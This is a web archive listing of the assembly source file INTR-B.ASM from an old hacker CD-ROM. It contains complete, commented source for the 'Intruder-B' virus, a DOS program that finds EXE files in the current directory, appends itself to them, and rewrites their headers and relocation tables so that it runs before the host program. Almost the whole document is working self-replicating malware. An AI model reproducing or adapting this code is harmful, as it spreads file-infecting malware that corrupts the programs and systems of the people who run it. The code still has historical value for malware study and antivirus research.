home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / INTR-B / INTR-B.ASM next >
Encoding:
Assembly Source File  |  1995-07-03  |  11.5 KB  |  246 lines

  1. ;The Intruder-B Virus is an EXE file infector which stays put in one directory.
  2. ;It attaches itself to the end of a file and modifies the EXE file header so
  3. ;that it gets control first, before the host program. When it is done doing
  4. ;its job, it passes control to the host program, so that the host executes
  5. ;without a hint that the virus is there.
  6.  
  7.  
  8.         .SEQ                       ;segments must appear in sequential order
  9.                                    ;to simulate conditions in actual active virus
  10.  
  11. ;HOSTSEG program code segment. The virus gains control before this routine and
  12. ;attaches itself to another EXE file.
  13. HOSTSEG SEGMENT BYTE
  14.         ASSUME  CS:HOSTSEG,SS:HSTACK
  15.  
  16. ;This host simply terminates and returns control to DOS.
  17. HOST:
  18.         mov     ax,4C00H
  19.         int     21H             ;terminate normally
  20. HOSTSEG ENDS
  21.  
  22. ;Host program stack segment
  23. STACKSIZE       EQU     100H           ;size of stack for this program
  24.  
  25. HSTACK  SEGMENT PARA STACK 'STACK'
  26.         db  STACKSIZE dup (?)
  27. HSTACK  ENDS
  28.  
  29. ;************************************************************************
  30. ;This is the virus itself
  31.  
  32. NUMRELS         EQU     2              ;number of relocatables in the virus
  33.  
  34. ;Intruder Virus code segment. This gains control first, before the host. As this
  35. ;ASM file is layed out, this program will look exactly like a simple program
  36. ;that was infected by the virus.
  37.  
  38. VSEG    SEGMENT PARA
  39.         ASSUME  CS:VSEG,DS:VSEG,SS:HSTACK
  40.  
  41. ;Data storage area
  42. DTA     DB      2BH dup (?)           ;new disk transfer area
  43. EXE_HDR DB      1CH dup (?)           ;buffer for EXE file header
  44. EXEFILE DB      '*.EXE',0             ;search string for an exe file
  45.  
  46. ;The following 10 bytes must stay together because they are an image of 10
  47. ;bytes from the EXE header
  48. HOSTS   DW      HOSTSEG,STACKSIZE     ;host stack and code segments
  49. FILLER  DW      ?                     ;these are hard-coded 1st generation
  50. HOSTC   DW      0,HOSTSEG             ;Use HOSTSEG for HOSTS, not HSTACK to fool A86
  51.  
  52.  
  53. ;Main routine starts here. This is where cs:ip will be initialized to.
  54. VIRUS:
  55.         push    ax              ;save startup info in ax
  56.         push    cs
  57.         pop     ds              ;set ds=cs
  58.         mov     ah,1AH          ;set up a new DTA location
  59.         mov     dx,OFFSET DTA   ;for viral use
  60.         int     21H
  61.         call    FINDEXE         ;get an exe file to attack
  62.         jc      FINISH          ;returned c - no valid file, exit
  63.         call    INFECT          ;move virus code to file we found
  64. FINISH: push    es
  65.         pop     ds              ;restore ds to PSP
  66.         mov     dx,80H
  67.         mov     ah,1AH          ;restore DTA to PSP:80H for host
  68.         int     21H
  69.         pop     ax              ;restore startup value of ax
  70.         cli
  71.         mov     ss,WORD PTR cs:[HOSTS]  ;set up host stack properly
  72.         mov     sp,WORD PTR cs:[HOSTS+2]
  73.         sti
  74.         jmp     DWORD PTR cs:[HOSTC]   ;begin execution of host program
  75.  
  76.  
  77. ;This function searches the current directory for an EXE file which passes
  78. ;the test FILE_OK. This routine will return the EXE name in the DTA, with the
  79. ;file open, and the c flag reset, if it is successful. Otherwise, it will
  80. ;return with the c flag set. It will search a whole directory before giving up.
  81. FINDEXE:
  82.         mov     dx,OFFSET EXEFILE
  83.         mov     cx,3FH          ;search first for any file *.EXE
  84.         mov     ah,4EH
  85.         int     21H
  86. NEXTE:  jc      FEX             ;is DOS return OK? if not, quit with c set
  87.         call    FILE_OK         ;yes - is this a good file to use?
  88.         jnc     FEX             ;yes - valid file found - exit with c reset
  89.         mov     ah,4FH
  90.         int     21H             ;do find next
  91.         jmp     SHORT NEXTE     ;and go test it for validity
  92. FEX:    ret                     ;return with c set properly
  93.  
  94.  
  95. ;Function to determine whether the EXE file found by the search routine is
  96. ;useable. If so return nc, else return c
  97. ;What makes an EXE file useable?:
  98. ;              a) The signature field in the EXE header must be 'MZ'. (These
  99. ;                 are the first two bytes in the file.)
  100. ;              b) The Overlay Number field in the EXE header must be zero.
  101. ;              c) It should be a DOS EXE, without Windows or OS/2 extensions.
  102. ;              d) There must be room in the relocatable table for NUMRELS
  103. ;                 more relocatables without enlarging it.
  104. ;              e) The initial ip stored in the EXE header must be different
  105. ;                 than the viral initial ip. If they're the same, the virus
  106. ;                 is probably already in that file, so we skip it.
  107. ;
  108. FILE_OK:
  109.         mov     dx,OFFSET DTA+1EH
  110.         mov     ax,3D02H               ;r/w access open file
  111.         int     21H
  112.         jc      OK_END1                ;error opening - C set - quit without closing
  113.         mov     bx,ax                  ;put handle into bx and leave bx alone from here on out
  114.         mov     cx,1CH                 ;read 28 byte EXE file header
  115.         mov     dx,OFFSET EXE_HDR      ;into this buffer
  116.         mov     ah,3FH                 ;for examination and modification
  117.         int     21H
  118.         jc      OK_END                 ;error in reading the file, so quit
  119.         cmp     WORD PTR [EXE_HDR],'ZM';check EXE signature of MZ
  120.         jnz     OK_END                 ;close & exit if not
  121.         cmp     WORD PTR [EXE_HDR+26],0;check overlay number
  122.         jnz     OK_END                 ;not 0 - exit with c set
  123.         cmp     WORD PTR [EXE_HDR+24],40H ;is rel table at offset 40H or more?
  124.         jnc     OK_END                 ;yes, it is not a DOS EXE, so skip it
  125.         call    REL_ROOM               ;is there room in the relocatable table?
  126.         jc      OK_END                 ;no - exit
  127.         cmp     WORD PTR [EXE_HDR+14H],OFFSET VIRUS  ;see if initial ip = virus initial ip
  128.         clc
  129.         jne     OK_END1                ;if all successful, leave file open
  130. OK_END: mov     ah,3EH                 ;else close the file
  131.         int     21H
  132.         stc                            ;set carry to indicate file not ok
  133. OK_END1:ret                            ;return with c flag set properly
  134.  
  135.  
  136. ;This function determines if there are at least NUMRELS openings in the
  137. ;relocatable table for the file. If there are, it returns with carry reset,
  138. ;otherwise it returns with carry set. The computation this routine does is
  139. ;to compare whether
  140. ;    ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
  141. ;is >= than 4 * NUMRELS. If it is, then there is enough room
  142. ;
  143. REL_ROOM:
  144.         mov     ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
  145.         add     ax,ax
  146.         add     ax,ax
  147.         sub     ax,WORD PTR [EXE_HDR+6] ;number of relocatables
  148.         add     ax,ax
  149.         add     ax,ax
  150.         sub     ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
  151.         cmp     ax,4*NUMRELS            ;enough room to put relocatables in?
  152.         ret                             ;exit with carry set properly
  153.  
  154.  
  155. ;This routine moves the virus (this program) to the end of the EXE file
  156. ;Basically, it just copies everything here to there, and then goes and
  157. ;adjusts the EXE file header and two relocatables in the program, so that
  158. ;it will work in the new environment. It also makes sure the virus starts
  159. ;on a paragraph boundary, and adds how many bytes are necessary to do that.
  160. INFECT:
  161.         mov     cx,WORD PTR [DTA+1CH]   ;adjust file length to paragraph
  162.         mov     dx,WORD PTR [DTA+1AH]   ;boundary
  163.         or      dl,0FH
  164.         add     dx,1
  165.         adc     cx,0
  166.         mov     WORD PTR [DTA+1CH],cx
  167.         mov     WORD PTR [DTA+1AH],dx
  168.         mov     ax,4200H                ;set file pointer, relative to beginning
  169.         int     21H                     ;go to end of file + boundary
  170.  
  171.         mov     cx,OFFSET FINAL         ;last byte of code
  172.         xor     dx,dx                   ;first byte of code, ds:dx
  173.         mov     ah,40H                  ;write body of virus to file
  174.         int     21H
  175.  
  176.         mov     dx,WORD PTR [DTA+1AH]   ;find relocatables in code
  177.         mov     cx,WORD PTR [DTA+1CH]   ;original end of file
  178.         add     dx,OFFSET HOSTS         ;            + offset of HOSTS
  179.         adc     cx,0                    ;cx:dx is that number
  180.         mov     ax,4200H                ;set file pointer to 1st relocatable
  181.         int     21H
  182.         mov     dx,OFFSET EXE_HDR+14    ;get correct host ss:sp, cs:ip
  183.         mov     cx,10
  184.         mov     ah,40H                  ;and write it to HOSTS/HOSTC
  185.         int     21H
  186.  
  187.         xor     cx,cx                   ;so now adjust the EXE header values
  188.         xor     dx,dx
  189.         mov     ax,4200H                ;set file pointer to start of file
  190.         int     21H
  191.  
  192.         mov     ax,WORD PTR [DTA+1AH]   ;calculate viral initial CS
  193.         mov     dx,WORD PTR [DTA+1CH]   ; = File size / 16 - Header Size(Para)
  194.         mov     cx,16
  195.         div     cx                      ;dx:ax contains file size / 16
  196.         sub     ax,WORD PTR [EXE_HDR+8] ;subtract exe header size, in paragraphs
  197.         mov     WORD PTR [EXE_HDR+22],ax;save as initial CS
  198.         mov     WORD PTR [EXE_HDR+14],ax;save as initial SS
  199.         mov     WORD PTR [EXE_HDR+20],OFFSET VIRUS  ;save initial ip
  200.         mov     WORD PTR [EXE_HDR+16],OFFSET FINAL + STACKSIZE  ;save initial sp
  201.  
  202.         mov     dx,WORD PTR [DTA+1CH]   ;calculate new file size for header
  203.         mov     ax,WORD PTR [DTA+1AH]   ;get original size
  204.         add     ax,OFFSET FINAL + 200H  ;add virus size + 1 paragraph, 512 bytes
  205.         adc     dx,0
  206.         mov     cx,200H                 ;divide by paragraph size
  207.         div     cx                      ;ax=paragraphs, dx=last paragraph size
  208.         mov     WORD PTR [EXE_HDR+4],ax ;and save paragraphs here
  209.         mov     WORD PTR [EXE_HDR+2],dx ;last paragraph size here
  210.         add     WORD PTR [EXE_HDR+6],NUMRELS    ;adjust relocatables counter
  211.         mov     cx,1CH                  ;and save 1CH bytes of header
  212.         mov     dx,OFFSET EXE_HDR       ;at start of file
  213.         mov     ah,40H
  214.         int     21H
  215.                                         ;now modify relocatables table
  216.         mov     ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
  217.         dec     ax                      ;in order to calculate location of
  218.         dec     ax                      ;where to add relocatables
  219.         mov     cx,4                    ;Location= (No in table-2)*4+Table Offset
  220.         mul     cx
  221.         add     ax,WORD PTR [EXE_HDR+24];table offset
  222.         adc     dx,0
  223.         mov     cx,dx
  224.         mov     dx,ax
  225.         mov     ax,4200H                ;set file pointer to table end
  226.         int     21H
  227.  
  228.         mov     WORD PTR [EXE_HDR],OFFSET HOSTS    ;use EXE_HDR as buffer
  229.         mov     ax,WORD PTR [EXE_HDR+22]           ;and set up 2 pointers to file
  230.         mov     WORD PTR [EXE_HDR+2],ax            ;1st points to ss in HOSTS
  231.         mov     WORD PTR [EXE_HDR+4],OFFSET HOSTC+2
  232.         mov     WORD PTR [EXE_HDR+6],ax            ;second to cs in HOSTC
  233.         mov     cx,8                    ;ok, write 8 bytes of data
  234.         mov     dx,OFFSET EXE_HDR
  235.         mov     ah,40H                  ;DOS write function
  236.         int     21H
  237.         mov     ah,3EH                  ;close file now
  238.         int     21H
  239.         ret                             ;that's it, infection is complete!
  240.  
  241. FINAL:                                  ;label for end of virus
  242.  
  243. VSEG    ENDS
  244.  
  245.         END VIRUS               ;Entry point is the virus
  246.